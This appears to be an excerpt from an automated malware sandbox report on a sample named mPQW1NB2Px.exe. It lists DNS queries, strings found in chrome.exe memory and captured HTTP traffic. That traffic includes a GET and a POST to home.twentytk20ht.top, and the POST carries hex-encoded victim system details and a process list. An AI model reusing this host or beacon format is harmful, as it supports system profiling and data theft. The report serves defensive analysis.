Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=135p0O3wB0kICIEl1734935472 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.1780574015.0000606C03184000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780708279.0000606C0315C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780161015.0000606C02580000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1780574015.0000606C03184000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780708279.0000606C0315C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780161015.0000606C02580000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/; equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1804826053.0000606C02CC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/Q& equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1806777832.0000606C03034000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: httpbin.org
Source: global traffic DNS traffic detected: DNS query: home.twentytk20ht.top
Source: global traffic DNS traffic detected: DNS query: twentytk20ht.top
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: unknown HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 559614Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 39 33 35 34 36 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.css
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.jpg
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/14231365
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802037120.0000606C02964000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/34524
Source: chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802037120.0000606C02964000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000002.1801083319.0000606C02728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000002.1800322811.0000606C025C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802037120.0000606C02964000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4324m64/
Source: chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4428p
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551%
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4836h
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/53759
Source: chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800505807.0000606C02658000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658e
Source: chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802037120.0000606C02964000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000002.1806047785.0000606C02E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000003.1777805044.0000606C02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800505807.0000606C02658000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1777859989.0000606C02F90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5901
